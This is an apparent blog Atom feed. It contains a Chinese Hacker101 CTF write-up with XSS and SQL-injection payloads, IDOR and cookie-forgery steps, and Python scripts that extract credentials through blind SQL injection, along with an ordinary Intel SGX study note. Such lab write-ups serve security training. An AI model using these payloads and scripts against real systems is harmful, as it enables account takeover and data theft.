-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
480 lines (282 loc) · 245 KB
/
Copy pathatom.xml
File metadata and controls
480 lines (282 loc) · 245 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>h3h3da's Blog</title>
<subtitle>小菜鸟的blog</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://blog.rookiehacker.org/"/>
<updated>2020-06-28T07:31:30.565Z</updated>
<id>http://blog.rookiehacker.org/</id>
<author>
<name>Louie Liu</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>test</title>
<link href="http://blog.rookiehacker.org/2020/06/28/test/"/>
<id>http://blog.rookiehacker.org/2020/06/28/test/</id>
<published>2020-06-28T07:31:30.000Z</published>
<updated>2020-06-28T07:31:30.565Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" cla
</summary>
</entry>
<entry>
<title>Hacker101 CTF WriteUp</title>
<link href="http://blog.rookiehacker.org/2020/03/09/hacker101ctf/"/>
<id>http://blog.rookiehacker.org/2020/03/09/hacker101ctf/</id>
<published>2020-03-09T12:46:35.000Z</published>
<updated>2020-11-26T14:35:47.735Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=86 src="//music.163.com/outchain/player?type=2&id=428203132&auto=0&height=66"></iframe><h2 id="About-Hacker101-CTF"><a href="#About-Hacker101-CTF" class="headerlink" title="About Hacker101 CTF"></a>About Hacker101 CTF</h2><p>2018 Hacker101 CTF,是由HackerOne举办的,直接使用HackerOne登录即可。<a href="https://ctf.hacker101.com/">传送门</a></p><p>【2019.11.12】</p><h2 id="A-little-something-to-get-you-started"><a href="#A-little-something-to-get-you-started" class="headerlink" title="A little something to get you started"></a>A little something to get you started</h2><p>难度和flag分值:Trivial (1 / flag)</p><p>WriteUp:</p><p>打开链接查看源码:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><!doctype html></span><br><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"><style></span><br><span class="line">body {</span><br><span class="line">background-image: url("background.png");</span><br><span class="line">}</span><br><span class="line"></style></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><p>Welcome to level 0. Enjoy your stay.</p></span><br><span class="line"></body></span><br><span class="line"></html></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>发现<code>background.png</code>,添加到链接后访问</p><p>得到flag:`^FLAG^05c6d80abb5641043be41332b6868d4e51e5dc899486dda3a44d12c9c2cc5d47$FLAG$``</p><h2 id="Micro-CMS-v1"><a href="#Micro-CMS-v1" class="headerlink" title="Micro-CMS v1"></a>Micro-CMS v1</h2><p>难度和flag分值:Easy (2 / flag)</p><p>WriteUp:</p><p>本题目有四个flag。下面分别寻找:</p><p>打开是一个CMS系统,可以创建Markdown类型的页面文件。</p><p>flag1:点击已经存在的几个页面链接发现是以数字分隔的,可能存在注入,尝试直接在edit链接后面加引号,<code>http://34.74.105.127/902d26090b/page/edit/1'</code></p><p>得到flag1:<code>^FLAG^11e4ae63c7deb54c628acac7d6082bdf4573bbae3c81e5fccc035d1709b58c98$FLAG$</code></p><p>flag2:在Home路径下可以看到每篇文章的题目,在编辑页面构造XSS文件标题尝试在Home页面是否存在XSS。</p><p><img src="http://149.28.144.209:8888/images/2019/11/12/3550d20ebf80118120a9706bbc678034.png" alt="图 1"></p><p>创建文章后回到首页</p><p>弹出flag2:<code>^FLAG^c03990c099606a0966e653368894f23422ac22683aaedd2f1cf05fe3e51ebc4b$FLAG$</code></p><p>flag3:在文章内容页面构造XSS,发现标签被过滤了。</p><p><img src="http://149.28.144.209:8888/images/2019/11/12/a7f795388cfadc83fa5c1b1d7d0d624e.png" alt="图 2"></p><p>构造<code><img></code>标签如下:</p><p><img src="http://149.28.144.209:8888/images/2019/11/12/7c332dd1ef4974b2c2d4c47733e43025.png" alt="图 3"></p><p>创建文章后访问,弹窗,存在XSS,查看源码</p><p><img src="http://149.28.144.209:8888/images/2019/11/12/d6015d30b4d4c70fa35cca9eabd9e211.png" alt="图 4"></p><p>发现flag3:<code>FLAG^06969e5fad7c4fdbb1373473bca3feaae5cb35192ad076b8c077c8d98ffa6c79$FLAG$</code></p><p>flag4:观察创建的文章ID是从11开始的,已存在的两篇文章ID分别是1和2,那中间的去哪里了?在浏览页面的链接后面一次追加之间的数字都是403,尝试在编辑页面的链接中追加中间的数字</p><p><img src="http://149.28.144.209:8888/images/2019/11/12/3ce72cde9a1f552ff1ce6efddcde6921.png" alt="图 5"></p><p>得到flag4:<code>^FLAG^73f6510533bfe045644c9d7d103f35017ac54fdf8b5517640bf1c884987f0993$FLAG$</code></p><p>这个题目还可以通过编辑button的属性来进行xss,<code><button onclick=alert(xss)>xxxx</button></code></p><h2 id="Micro-CMS-v2"><a href="#Micro-CMS-v2" class="headerlink" title="Micro-CMS v2"></a>Micro-CMS v2</h2><p>难度和flag分值:Moderate (3 / flag)</p><p>WriteUp:</p><p>本题目有3个flag。下面分别寻找:</p><p>flag1:有登录,尝试是否存在注入。构造登录名为<code>admin ' union select '123</code>,密码为<code>123</code>登录成功。查看private page页面</p><p>得到flag1:<code>^FLAG^d2dbfda38f203a282859c13a3da50ee42812417984251fe376dcace56a02e57a$FLAG$</code></p><p>flag2:和CMS v1有点类似,查看hint,发现要采用post方式请求中间ID文章的edit页面</p><p><img src="http://149.28.144.209:8888/images/2019/11/12/91cf6ffe66c032fa86cfe0b6e0af93df.png" alt="图 6"></p><p>得到flag2:<code>^FLAG^18caf2140521df8dfe1c3cf033d74080650e7a3be1f0d3715ea28a6a9de9960d$FLAG$</code></p><p>【2020.03.09更新】<br>本来想用sqlmap跑一下的,但是还要装,就在网上搜了一些别的大佬的思路,发现挺有趣的。</p><p>试了好久,终于拿到了flag!</p><p><img src="http://149.28.144.209:8888/images/2020/03/09/078d15b6afcd07397271f7fb60233551.png" alt="flag终于提交成功"></p><p>flag3:在登录页面随便输入用户名密码,提示<code>Unknown user</code>,但是当我们尝试sql注入输入<code>admin'</code>,会得到下面的报错信息:</p><p><img src="http://149.28.144.209:8888/images/2020/03/09/c4b1cd82b8983a951ab95b6cc4883bea.png"></p><p>通过报错信息,我们发现了后端的sql查询语句的构造结构。</p><p>即<code>('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')</code></p><p>我们继续输入<code>admin' or 1=1#</code>,得到提示<code>Invalid password</code>,因此我们可以根据返回信息的不同对字段进行猜测。</p><p>接下来我们来构造payload,用户名输入<code>' or length(password)=1 #</code>,写了一段脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">"http://34.94.3.143/30fa262d5c/login"</span></span><br><span class="line">num = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> payload = <span class="string">"' or length(password)="</span> + <span class="built_in">str</span>(num)+ <span class="string">" #"</span></span><br><span class="line"> req = requests.post(url, data={<span class="string">"username"</span>: payload, <span class="string">"password"</span>:<span class="string">"123"</span>})</span><br><span class="line"> <span class="keyword">if</span> <span class="string">"Invalid password"</span> <span class="keyword">in</span> req.text:</span><br><span class="line"> print(num)</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> num+=<span class="number">1</span></span><br><span class="line"><span class="comment"># finally we get the lenth(password)=7</span></span><br><span class="line">print(<span class="string">"over"</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>我们得到password的长度为7。下面我们猜测password的具体值。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">"http://34.94.3.143/30fa262d5c/login"</span></span><br><span class="line"><span class="built_in">chr</span> = <span class="string">"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"</span></span><br><span class="line">psd = <span class="string">""</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="built_in">len</span>(psd)<<span class="number">7</span>:</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">chr</span>:</span><br><span class="line"> payload = <span class="string">"' or password like '"</span> + psd+i + <span class="string">"%' #"</span></span><br><span class="line"> req = requests.post(url, data={<span class="string">"username"</span>: payload, <span class="string">"password"</span>:<span class="string">"123"</span>})</span><br><span class="line"> <span class="keyword">if</span> <span class="string">"Invalid password"</span> <span class="keyword">in</span> req.text:</span><br><span class="line"> psd += i</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># finally we get a password EZEKIEL</span></span><br><span class="line">print(<span class="string">"password: "</span> + psd)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>我们得到password为<code>EZEKIEL</code>,使用admin+EZEKIEL登录发现并不对,尝试猜测password对应的用户名信息,先猜测username长度:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">"http://34.94.3.143/30fa262d5c/login"</span></span><br><span class="line"></span><br><span class="line">num = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> num<<span class="number">10</span>:</span><br><span class="line"> payload = <span class="string">"' or password='EZEKIEL' and length(username)="</span>+ <span class="built_in">str</span>(num) +<span class="string">" #"</span></span><br><span class="line"> req = requests.post(url, data={<span class="string">"username"</span>: payload, <span class="string">"password"</span>:<span class="string">"123"</span>})</span><br><span class="line"> <span class="keyword">if</span> <span class="string">"Invalid password"</span> <span class="keyword">in</span> req.text:</span><br><span class="line"> print(num)</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> num+=<span class="number">1</span></span><br><span class="line"><span class="comment"># finally we get the lenth(username)=6</span></span><br><span class="line">print(<span class="string">"over"</span>)</span><br></pre></td></tr></table></figure><p>我们得到password为<code>EZEKIEL</code>的username长度为6,下面猜测username的具体值:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">"http://34.94.3.143/30fa262d5c/login"</span></span><br><span class="line"><span class="built_in">chr</span> = <span class="string">"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"</span></span><br><span class="line"></span><br><span class="line">username=<span class="string">""</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="built_in">len</span>(username)<<span class="number">6</span>:</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">chr</span>:</span><br><span class="line"> payload = <span class="string">"' or password='EZEKIEL' and username like '"</span> + username + i + <span class="string">"%' #"</span></span><br><span class="line"> req = requests.post(url, data={<span class="string">"username"</span>: payload, <span class="string">"password"</span>:<span class="string">"123"</span>})</span><br><span class="line"> <span class="keyword">if</span> <span class="string">"Invalid password"</span> <span class="keyword">in</span> req.text:</span><br><span class="line"> username += i</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># finally we get a username PORSHA</span></span><br><span class="line">print(<span class="string">"username: "</span> + username)</span><br></pre></td></tr></table></figure><p>最终我们得到了一个账户username:<code>PORSHA</code>,password:<code>EZEKIEL</code>。尝试使用这个登录,发现依然不对,全部换成小写登录成功拿到flag,好吧,蒙蔽。</p><p>flag:<code>^FLAG^7000355e3c23b50c69850012dee2529b269d280a53581ceef5430477437ef59c$FLAG$</code></p><h2 id="Postbook"><a href="#Postbook" class="headerlink" title="Postbook"></a>Postbook</h2><p>难度和flag分值:Easy (4 / flag)</p><p>WriteUp:</p><p>本题目有7个flag。下面分别寻找:</p><p>flag1:注册一个用户,登录后发现已经存在两篇文章,但是id分别为1和3,访问id为2的文章</p><p><img src="http://149.28.144.209:8888/images/2019/11/12/ba22fd1401bf53263a93eb769d22bb92.png" alt="图 7"></p><p>得到flag1:<code>^FLAG^49caa7bbda6269f5b031ef20c3c2c929da30256de5e0aa3ae669f78305db9921$FLAG$</code></p><p>flag2:注册登录后可以发现,在首页只有注册后创建的文章会显示<code>edit</code>按钮,已经存在的并没有。这里通过在编辑链接里通过修改id,直接获取edit权利。尝试在内容中构造XSS并保存。</p><p><img src="http://149.28.144.209:8888/images/2019/11/12/23ae56b6d1e35e870e7564dc9d51ab12.png" alt="图 8"></p><p>得到flag2:<code>^FLAG^a6472d14d9769cef13c37c9a857a6042aa11af11fcc267442b5716a7c5b7b35d$FLAG$</code></p><p>flag3:好吧。。。找了半天,发现在用户名显示的地方是存在XSS的,但是构造好还有XSS的用户名有弹窗但是没有flag。。发现已存在用户除了admin外还有一个user用户,登出后尝试登录user用户,弱密码<code>password</code>,谁料真的登上了。。。</p><p><img src="http://149.28.144.209:8888/images/2019/11/12/a0cb353d9717df175a2b6766079d8966.png" alt="图 9"></p><p>得到flag3:<code>^FLAG^e61c59b72e740c455cf50af04d9d05d0984909e2262afd94d95346aea4491b61$FLAG$</code></p><p>flag4:直接使用burpsuite爆破id字段发现在<code>id=945</code>时存在flag。</p><p>得到flag4:<code>^FLAG^0cae4e96a31362d8c9c11daf0387dec9bf44b2e71b8ef9a69409e468f8d56ffe$FLAG$</code></p><p>flag5:尝试删除文章。发现删除链接id后面跟的是文章id的md5值,这里尝试越权删除其他用户的文章。</p><p><img src="http://149.28.144.209:8888/images/2019/11/13/28071917cb38f4298e9ebad0379bdfee.png" alt="图 10"></p><p>得到flag5:<code>^FLAG^a5d21a4be4c9ed16a98c3d459f75b0984e679dc96eec3ad7c8cbdacc0137bae7$FLAG$</code></p><p>flag6:有了删、改、查,感觉下面就是增了。尝试越权增加一篇文章。先新建一个文章,然后删除并且抓包,发现参数除了title和body外还有一个user_id,这个user_id随着注册人数增加依次增加。这里直接把user_id设置成1之后发送。</p><p><img src="http://149.28.144.209:8888/images/2019/11/13/03535aea1e4d1a3f1ad39f612456be3b.png" alt="图 11"></p><p>得到flag6:<code>^FLAG^3fb398a0f2e9af561c5a12802c8956807d547d23b8d9c5903b114d0c09e4b13d$FLAG$</code> </p><p>flag7:在上面我们删除操作的时候直接使用了id的MD5值,抓包的时候发现用户的Cookie也是一个id=xxxx的哈希值,直接解md5可以发现其直接对应的是user_id,我们登录一个普通用户(我们自己注册的),然后将cookie设置为user_id为2的cookie来冒充用户,发现得到了一个flag和flag3一样,即user用户的flag。所以这里直接想到设置为admin用户的cookie,即user_id为1的cookie,md5(1)的值。刷新页面。</p><p>得到flag7:<code>^FLAG^923ef7586685ba373188fb9000dc76c058e387f614f3a4d8381d63d5a52ba24f$FLAG$</code></p><p>7个flag总算照完了。。。</p><h2 id="Petshop-Pro"><a href="#Petshop-Pro" class="headerlink" title="Petshop Pro"></a>Petshop Pro</h2><p>难度和flag分值:Easy (3 / flag)</p><p>WriteUp:</p><p>本题目有3个flag。下面分别寻找:</p><p>flag1:随便点了一下,发现checkout结算这里有个将单价算一下的操作,这里直接抓包修改购物车cart中相应商品的<code>price</code>为<code>0</code>。</p><p><img src="http://149.28.144.209:8888/images/2019/11/13/aef3f3ef78e255c02d09efaa82690e2c.png" alt="图 12"></p><p>得到flag1:<code>^FLAG^b75dec926d3e2c5ee2a2987d33f1cd510c63094bddda9c86797cb5d3e58dd785$FLAG$</code></p><p>【今日成功拿到52points,顺利拿到两个private program的invitation的优先机会~】</p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2020/03/09/hacker101ctf/' title='Hacker101 CTF WriteUp' >Hacker101 CTF WriteUp</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2020/03/09/hacker101ctf/' title='Hacker101 CTF WriteUp' >http://blog.rookiehacker.org/2020/03/09/hacker101ctf/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>]]></content>
<summary type="html">
2018 Hacker101 CTF 训练,持续更新中...
</summary>
<category term="CTF" scheme="http://blog.rookiehacker.org/categories/CTF/"/>
<category term="CTF" scheme="http://blog.rookiehacker.org/tags/CTF/"/>
<category term="Hacker101" scheme="http://blog.rookiehacker.org/tags/Hacker101/"/>
</entry>
<entry>
<title>SGX学习系列</title>
<link href="http://blog.rookiehacker.org/2020/02/21/SGXstudy/"/>
<id>http://blog.rookiehacker.org/2020/02/21/SGXstudy/</id>
<published>2020-02-20T17:04:02.000Z</published>
<updated>2020-11-26T14:37:40.479Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="必要的支持环境"><a href="#必要的支持环境" class="headerlink" title="必要的支持环境"></a>必要的支持环境</h2><p>1、CPU必须支持Intel SGX指令</p><p>2、系统BIOS必须支持Intel SGX</p><p>3、BIOS必须启用SGX</p><p>4、系统必须已安装Intel SGX Platform Software(PSW)</p><h2 id="SGX应用程序检查顺序"><a href="#SGX应用程序检查顺序" class="headerlink" title="SGX应用程序检查顺序"></a>SGX应用程序检查顺序</h2><h3 id="1-SGX应用安装程序的启动检查顺序"><a href="#1-SGX应用安装程序的启动检查顺序" class="headerlink" title="(1) SGX应用安装程序的启动检查顺序"></a>(1) SGX应用安装程序的启动检查顺序</h3><p>1、检查CPU和BISO是否支持Intel SGX</p><p>2、判断系统是否安装Intel SGX PSW,如果没安装则安装它</p><p>3、检查BIOS是否开启Intel SGX,如果没有,则尝试软件控制开启</p><h3 id="2-SGX应用程序本身的检查顺序"><a href="#2-SGX应用程序本身的检查顺序" class="headerlink" title="(2) SGX应用程序本身的检查顺序"></a>(2) SGX应用程序本身的检查顺序</h3><p>1、检查Intel SGX PSW是否安装</p><p>2、检查BIOS是否开启Intel SGX,如果没有,则尝试软件控制开启</p><h2 id="SGX应用程序设计"><a href="#SGX应用程序设计" class="headerlink" title="SGX应用程序设计"></a>SGX应用程序设计</h2><p>设计一个Intel SGX程序需要你把代码划分成不同部分,需要判断将哪些代码(数据)放在enclave中,哪些不需要放在里面以及可信部分和不可信部分间的交互。</p><p>划分的关键步骤:</p><p>1、确定机密信息</p><p>2、确定机密信息的提供者和使用者,画出机密数据在应用各个组件之间的流程图</p><p>3、确定enclave的边界,包含尽量多的机密信息,但是要尽可能保持小的体积</p><p>4、精简安全区代码,使安全区体积尽可能小,尽可能高校的利用有限的安全区资源,减少系统开销</p><h2 id="安全区enclave定义语言(EDL)"><a href="#安全区enclave定义语言(EDL)" class="headerlink" title="安全区enclave定义语言(EDL)"></a>安全区enclave定义语言(EDL)</h2><p>非安全区调用安全区函数(也是进去安全区的入口)称为E-Call(调用者在安全区外),安全区调用外部非安全区称为O-Call(调用者在安全区内)。这些ecall和ocall组成了安全区的接口。但是安全区的入口点和出口点都由CPU控制,即出入安全区需要执行特定的CPU指令。Intel SGX SDK对底层做了抽象来便于开发人员开发SGX程序。<br>工具Edger8r可以自动生成ecall和ocall的代理函数。Edger8r从EDL文件中读取安全区接口定义。EDL文件和C语言文件很类似,它分为两个部分,可信区和非可信区。E-call函数定义在可信区,O-call函数定义在非可信区。它包含了一些关键字,如:</p><p>public: 所有能被非可信程序调用的E-call都必须声明为public,每个安全区至少应有一个声明为public的E-call。不含public关键字的E-call只能被另一个O-call调用执行。</p><p>参数:传值,对应的封装处理应该是单向的;传引用,必须完整地描述数据的封装处理过程,即指针或者参数前用<code>[]</code>描述要封装处理的元素的传输方向以及数量等信息。<code>in</code>关键字意味着将数据封装送到e-call或者o-call和<code>out</code>关键字意味着数据从e-call或者o-call返回给调用函数。<code>out</code>关键字需要在调用e-call或者o-call前分配好数据缓冲区来存储返回的数据。<code>in</code>和<code>out</code>关键字可以同时指定在一个调用中,代表要进行两个方向的封送处理。在数量信息缺省情况下,Edger8r假定数据缓冲区等于参数的size,若传输数组等含有多个元素的数据,可以用<code>count</code>关键字来指定元素个数,也可以传给<code>count</code>一个函数参数来指明元素长度。<code>in</code>可以和<code>string</code>、<code>wstring</code>关键字配合使用来传字符串,但是<code>out</code>不能和它们一起使用。</p><h2 id="EDL进阶"><a href="#EDL进阶" class="headerlink" title="EDL进阶"></a>EDL进阶</h2><p>有时,传送指针时需要提供更多额外的信息或者对指针进行直接控制。把void空指针传给e-call或者o-call,无法确定void类型对应的数据的具体大小,因此无法计算封送处理的数据缓冲区大小。为了结局这个问题,EDL提供了<code>size</code>关键字,来指定单个元素的大小,来配合<code>in</code>、<code>out</code>、<code>count</code>等关键字来确定数据缓冲区的大小。若是仅希望把指针指向的地址传给e-call或者o-call,则需要使用<code>user_check</code>,这种情况下传递的指针对进行边界安全检查和数据封送处理,e-call或者o-call直接作用于指针地址。</p><p>声明为public的e-call又被称为root e-call,不含public的e-call只能被另一个o-call调用。缺省情况下(即o-call前没有声明类型),o-call不能调用任何e-call,必须使用<code>allow</code>关键字来指明允许调用的e-call的名称列表,此时o-call只允许调用这个名称列表中的e-call。</p><h2 id="SGX程序调试"><a href="#SGX程序调试" class="headerlink" title="SGX程序调试"></a>SGX程序调试</h2><p>Intel SGX安全区可以以debug模式或release模式构建。顾名思义,debug模式允许调试,你可以使用(只可以使用)Intel SGX debugger来进行调试。CPU允许运行任何以debug模式构建的安全区enclave,但是很显然,这些安全区都是不是安全的(因为SGX debugger可以控制)。所以生产环境下请不要部署debug模式的安全区enclave。相反,release模式的安全区无法进行调试。对安全区进行调试,需要CPU的指令支持,因此必须使用随Intel SGX SDK安装Intel SGX调试器。其他调试器只会跳过安全区代码,只有Intel SGX调试器才可以调试安全区代码,不同的编辑运行环境要对调试器进行相应的设置。</p><h2 id="Intel-SGX数据密封功能(data-sealing)"><a href="#Intel-SGX数据密封功能(data-sealing)" class="headerlink" title="Intel SGX数据密封功能(data sealing)"></a>Intel SGX数据密封功能(data sealing)</h2><p>当电脑进入睡眠、关机或者应用程序退出时,安全区enclave会被销毁,或者被应用程序显式销毁,从而丢失安全区中的数据。把安全区中的数据保存在非可信内存中并且保证数据的隐私性就需要Intel SGX的数据密封功能。数据密封使用从CPU得到的密钥在安全区内对数据进行加密,解密是只能在创建它的那台电脑上进行解密。当进行数据密封时,有两种密钥策略可被选择:</p><p>1、MRENCLAVE(安全区标识):将生成一个该安全区独有的密钥,即只有同一台电脑的同一个安全区可以解封数据。</p><p>2、MRSIGNER(密封标识):基于安全区密封授权方的密钥来生成一个密钥,这也使得一个安全区密封的数据可以被另一个安全区来解封,只要在同一台电脑上并且具有相同的密封授权方的密钥即可。MRSIGNER可以允许旧版本应用程序密封的数据被新版本应用程序或者其他版本的应用程序解封读取,也可以使用这种方法在两个不同的应用程序的两个不同的安全区中共享数据(只要在同一台电脑上)。</p><p>两种方法的相同点:</p><p>执行密封数据的电脑的指纹数据会作为密钥的一个输入,来保证只有在同一台电脑上才可以执行相应密封数据的解密。密钥的另一个数据则是安全区的debug模式或release模式。debug模式的安全区无法解封release模式构建的安全区密封的数据,反之亦然。这是为了防止Intel SGX调试器在调试debug模式的安全区时泄露来自release模式密封的安全区数据。</p><p>安全区enclave不会检查非可信应用程序的真实性,因此任何人任何程序都可以加载你的安全区,并且按照他们希望的顺序执行e-call。因此安全区的api不能因为数据密封和解封来泄露机密或者授予不该授予的权限。</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://www.youtube.com/playlist?list=PLg-UKERBljNweaATkbbDCcEsRTADAzOl8">Intel® Software Guard Extensions (Intel® SGX) | Intel Software</a></p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2020/02/21/SGXstudy/' title='SGX学习系列' >SGX学习系列</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2020/02/21/SGXstudy/' title='SGX学习系列' >http://blog.rookiehacker.org/2020/02/21/SGXstudy/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>]]></content>
<summary type="html">
SGX入门学习~
</summary>
<category term="SGX" scheme="http://blog.rookiehacker.org/categories/SGX/"/>
<category term="SGX" scheme="http://blog.rookiehacker.org/tags/SGX/"/>
</entry>
<entry>
<title>一些CSDN干货资源</title>
<link href="http://blog.rookiehacker.org/2020/02/20/someresourse/"/>
<id>http://blog.rookiehacker.org/2020/02/20/someresourse/</id>
<published>2020-02-20T09:26:01.000Z</published>
<updated>2020-11-26T14:36:09.083Z</updated>
